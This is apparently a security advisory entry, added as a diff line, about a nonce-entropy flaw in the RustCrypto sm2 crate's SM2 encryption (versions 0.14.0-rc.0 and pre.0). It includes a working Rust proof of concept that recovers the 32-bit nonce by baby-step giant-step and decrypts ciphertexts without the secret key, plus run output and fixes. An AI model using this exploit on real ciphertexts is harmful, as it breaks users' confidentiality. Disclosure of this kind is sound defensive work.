+ "details": "### Summary\n\nA critical vulnerability exists in the SM2 Public Key Encryption (PKE) implementation where the ephemeral nonce `k` is generated with severely reduced entropy. A unit mismatch error causes the nonce generation function to request only 32 bits of randomness instead of the expected 256 bits. This reduces the security of the encryption from a 128-bit level to a trivial 16-bit level, allowing a practical attack to recover the nonce `k` and decrypt any ciphertext **given only the public key and ciphertext**.\n\n\n\n### Affected Versions\n\n- sm2 0.14.0-rc.0 (https://crates.io/crates/sm2/0.14.0-rc.0)\n- sm2 0.14.0-pre.0 (https://crates.io/crates/sm2/0.14.0-pre.0)\n\nThis vulnerability is introduced in commit: [Commit 4781762](https://github.com/RustCrypto/elliptic-curves/commit/4781762f23ff22ab34763410f648128055c93731) on Sep 6, 2024, which is over a year ago.\n\n\n\n### Details\n\nThe root cause of this vulnerability is a unit mismatch in the `encrypt` function located in `sm2/src/pke/encrypting.rs`.\n\n1. The code correctly calculates the byte-length of the curve order (256 bits / 8 = 32 bytes) and stores it in a constant `N_BYTES`.\n ```rust\n const N_BYTES: u32 = Sm2::ORDER.as_ref().bits().div_ceil(8); // Value is 32 (bytes)\n ```\n2. However, this `N_BYTES` value is then passed to the `next_k` helper function, which incorrectly interprets this value as a *bit length*.\n ```rust\n let k = Scalar::from_uint(&next_k(rng, N_BYTES)?).unwrap();\n ```\n3. Inside `next_k`, the `bit_length` parameter (which holds the value 32) is passed directly to `U256::try_random_bits`, a function that generates a random number with the specified number of bits.\n ```rust\n fn next_k<R: TryCryptoRng + ?Sized>(rng: &mut R, bit_length: u32) -> Result<U256> {\n let k = U256::try_random_bits(rng, bit_length).map_err(|_| Error)?;\n // ...\n }\n ```\n As a result, the ephemeral nonce `k` is generated with only 32 bits of entropy, with its upper 224 bits being zero. This catastrophic loss of randomness makes the encryption scheme insecure.\n \n \n\n### PoC\n\nA proof-of-concept demonstrating the feasibility of this attack is provided in `examples/bsgs_recover.rs`. The PoC performs the following steps:\n\n1. **Encrypt a Message**: It uses the vulnerable `EncryptingKey::encrypt` function to encrypt a sample message.\n2. **Extract Ephemeral Public Key**: It parses the ciphertext to extract `C1`, which is the ephemeral public key `[k]G`.\n3. **Recover Nonce `k`**: It runs a Baby-Step Giant-Step (BSGS) algorithm to search the reduced 2^32 search space for the nonce `k`. This attack is computationally feasible on modern hardware in seconds with time complexity `O(2^16)`.\n4. **Decrypt without Secret Key**: Once `k` is recovered, it computes the shared secret `[k]PB` (where `PB` is the recipient's public key) and successfully decrypts the ciphertext without access to the recipient's secret key.\n\n`examples/bsgs_recover.rs`\n\n``` rust\n//! Example: Recover low-entropy nonce k via Baby-Step Giant-Step (BSGS)\n//!\n//! This example intentionally demonstrates an attack on the vulnerable\n//! `EncryptingKey::encrypt` implementation which (in the current repository\n//! state) may generate k with only 32 bits of entropy. The example:\n//! - Generates a key pair and encrypts a short plaintext.\n//! - Extracts C1 from the ciphertext (ephemeral public key [k]G).\n//! - Runs BSGS over the reduced search space 2^32 to recover k and decrypt: time O(2^16), space O(2^16).\n//!\n\nuse std::collections::HashMap;\nuse std::error::Error;\n\nuse rand_core::OsRng;\n\nuse sm2::{\n pke::Mode,\n pke::EncryptingKey,\n PublicKey,\n SecretKey,\n AffinePoint,\n ProjectivePoint,\n Scalar,\n};\nuse elliptic_curve::bigint::U256;\nuse elliptic_curve::{Group, Curve};\nuse elliptic_curve::sec1::{FromEncodedPoint, ToEncodedPoint};\nuse sm3::{Sm3, Digest};\n\n/// Baby-step giant-step over the 32-bit search space.\nfn bsgs_recover_k(c1: &AffinePoint) -> Option<U256> {\n // search parameters\n let m: u32 = 1 << 16; // baby/giant step size -> covers 2^32 space\n\n // baby steps: j*G -> j\n let mut baby: HashMap<Vec<u8>, u32> = HashMap::with_capacity(m as usize + 1);\n for j in 0..m {\n let j_u256 = U256::from_u32(j);\n let s = Scalar::from_uint(&j_u256).unwrap();\n let p = ProjectivePoint::mul_by_generator(&s).to_affine();\n let ep = p.to_encoded_point(false);\n baby.insert(ep.as_bytes().to_vec(), j);\n }\n\n // giant steps\n for i in 0..=m {\n let im = (i as u64) * (m as u64);\n let im_u256 = U256::from_u64(im);\n let im_scalar = Scalar::from_uint(&im_u256).unwrap();\n let im_point = ProjectivePoint::mul_by_generator(&im_scalar).to_affine();\n\n // candidate = C1 - im_point\n let c1_proj = ProjectivePoint::from(c1);\n let im_proj = ProjectivePoint::from(&im_point);\n let candidate_proj = c1_proj + (-im_proj);\n let candidate = candidate_proj.to_affine();\n let cand_bytes = candidate.to_encoded_point(false).as_bytes().to_vec();\n\n if let Some(&j) = baby.get(&cand_bytes) {\n let k_recovered = im + (j as u64);\n return Some(U256::from_u64(k_recovered));\n }\n }\n None\n}\n\n/// KDF using SM3 (re-implementation of crate internal `kdf`).\nfn kdf_sm3(kpb: AffinePoint, c2: &mut [u8]) {\n let mut hasher = Sm3::new();\n let klen = c2.len();\n let mut ct: u32 = 0x00000001;\n let digest_size = 32usize; // SM3 output is 32 bytes\n let mut ha = vec![0u8; digest_size];\n let encode_point = kpb.to_encoded_point(false);\n\n let mut offset = 0usize;\n while offset < klen {\n hasher.update(encode_point.x().unwrap());\n hasher.update(encode_point.y().unwrap());\n hasher.update(&ct.to_be_bytes());\n let out = hasher.finalize_reset();\n ha.copy_from_slice(out.as_slice());\n\n let xor_len = core::cmp::min(digest_size, klen - offset);\n for i in 0..xor_len {\n c2[offset + i] ^= ha[i];\n }\n offset += xor_len;\n ct = ct.wrapping_add(1);\n }\n}\n\n/// Decrypt ciphertext given recovered k and recipient public key (without secret key).\nfn decrypt_with_k(pubkey: &PublicKey, k: U256, ciphertext: &[u8], mode: Mode) -> Result<Vec<u8>, Box<dyn Error>> {\n // parse c1\n let n_bytes = sm2::Sm2::ORDER.as_ref().bits().div_ceil(8) as usize; // 32\n let c1_len = n_bytes * 2 + 1;\n if ciphertext.len() < c1_len {\n return Err(\"ciphertext too short\".into());\n }\n let (_c1_bytes, rest) = ciphertext.split_at(c1_len);\n\n // derive shared point hpb = [h*k]PB; for SM2 cofactor h == 1 so this is [k]PB\n let pb_affine = pubkey.as_affine();\n let k_scalar = Scalar::from_uint(&k).unwrap();\n let s = *pb_affine; // cofactor h == 1\n let hpb = (s * k_scalar).to_affine();\n\n // split rest into c2 and c3 depending on mode\n let digest_size = 32usize; // SM3 output size\n let (c2_slice, c3_slice) = match mode {\n Mode::C1C2C3 => {\n let c2_len = rest.len() - digest_size;\n rest.split_at(c2_len)\n }\n Mode::C1C3C2 => {\n let (c3, c2) = rest.split_at(digest_size);\n (c2, c3)\n }\n };\n\n let mut c2 = c2_slice.to_owned();\n // KDF to recover plaintext\n kdf_sm3(hpb, &mut c2);\n\n // verify c3\n let mut check = Sm3::new();\n let enc = hpb.to_encoded_point(false);\n check.update(enc.x().unwrap());\n check.update(&c2);\n check.update(enc.y().unwrap());\n let out = check.finalize_reset();\n if out.as_slice() != c3_slice {\n return Err(\"c3 verification failed\".into());\n }\n\n Ok(c2)\n}\n\n/// High-level: given ciphertext and recipient public key, recover k via BSGS and decrypt.\nfn recover_and_decrypt(pubkey: &PublicKey, ciphertext: &[u8], mode: Mode) -> Result<Vec<u8>, Box<dyn Error>> {\n // extract C1\n let n_bytes = sm2::Sm2::ORDER.as_ref().bits().div_ceil(8) as usize; // 32\n let c1_len = n_bytes * 2 + 1;\n let (c1_bytes, _rest) = ciphertext.split_at(c1_len);\n let encoded = sm2::EncodedPoint::from_bytes(c1_bytes)?;\n let c1_affine = AffinePoint::from_encoded_point(&encoded).unwrap();\n\n if let Some(k) = bsgs_recover_k(&c1_affine) {\n println!(\"recovered k = 0x{:x}\", k);\n let plain = decrypt_with_k(pubkey, k, ciphertext, mode)?;\n return Ok(plain);\n }\n Err(\"failed to recover k\".into())\n}\n\nfn main() -> Result<(), Box<dyn Error>> {\n // demo: generate keypair, encrypt, then recover and decrypt without secret key\n let mut rng = OsRng;\n let sk = SecretKey::try_from_rng(&mut rng)?;\n let pk = sk.public_key();\n let ek = EncryptingKey::new_with_mode(pk, Mode::C1C2C3);\n let msg = b\"attack-demo-sm2-bsgs-recover-example\";\n let ct = ek.encrypt(&mut rng, msg)?;\n print!(\"Trying to recover k and decrypt...\\n\");\n let recovered = recover_and_decrypt(&pk, &ct, Mode::C1C2C3)?;\n println!(\"recovered plaintext: {}\", std::str::from_utf8(&recovered)?);\n Ok(())\n}\n\n```\n\nTo run the PoC (tested on Apple M3): \n\n```bash\n$ time cargo run --example bsgs_recover \nTrying to recover k and decrypt...\nrecovered k = 0x00000000000000000000000000000000000000000000000000000000ca4f2d79\nrecovered plaintext: attack-demo-sm2-bsgs-recover-example\ncargo run --example bsgs_recover 14.44s user 0.13s system 89% cpu 16.266 total\n```\n\n\n\n### Impact\n\nThis vulnerability leads to a complete loss of confidentiality for all data encrypted using the SM2 PKE implementation in this library. Any attacker who obtains a ciphertext can recover the plaintext in a feasible amount of time (several seconds).\n\nThe severity is **Critical**, as it breaks the core security promise of the public key encryption scheme. All versions of the `sm2` crate with the vulnerable PKE implementation are affected. \n\n- Fix 1: Modify the input parameter to the correct 256 bits\n\n ``` rust\n let k_uint = next_k(rng, N_BYTES * 8)?;\n ```\n\n- Fix 2: We believe that the `next_k` function should only generate a 256-bit nonce to ensure security, therefore the parameter is unnecessary.\n\n ``` rust\n fn next_k<R: TryCryptoRng + ?Sized>(rng: &mut R) -> Result<U256> {\n loop {\n let k = U256::try_random_bits(rng, 256).map_err(|_| Error)?;\n if !bool::from(k.is_zero()) && k < *Sm2::ORDER {\n return Ok(k);\n }\n }\n }\n ```\n\n \n\n### Credit\n\nThis vulnerability was discovered by:\n\n- XlabAI Team of Tencent Xuanwu Lab\n- Atuin Automated Vulnerability Discovery Engine\n\nCVE and credit are preferred.\n\nIf developers have any questions regarding the vulnerability details, please feel free to reach out for further discussion via email at xlabai@tencent.com.\n\n\n\n### Note\n\nSM2 follows the security industry standard disclosure policy—the 90+30 policy (reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). If the aforementioned vulnerabilities cannot be fixed within 90 days of submission, the organization reserves the right to publicly disclose all information about the issues after this timeframe.",
0 commit comments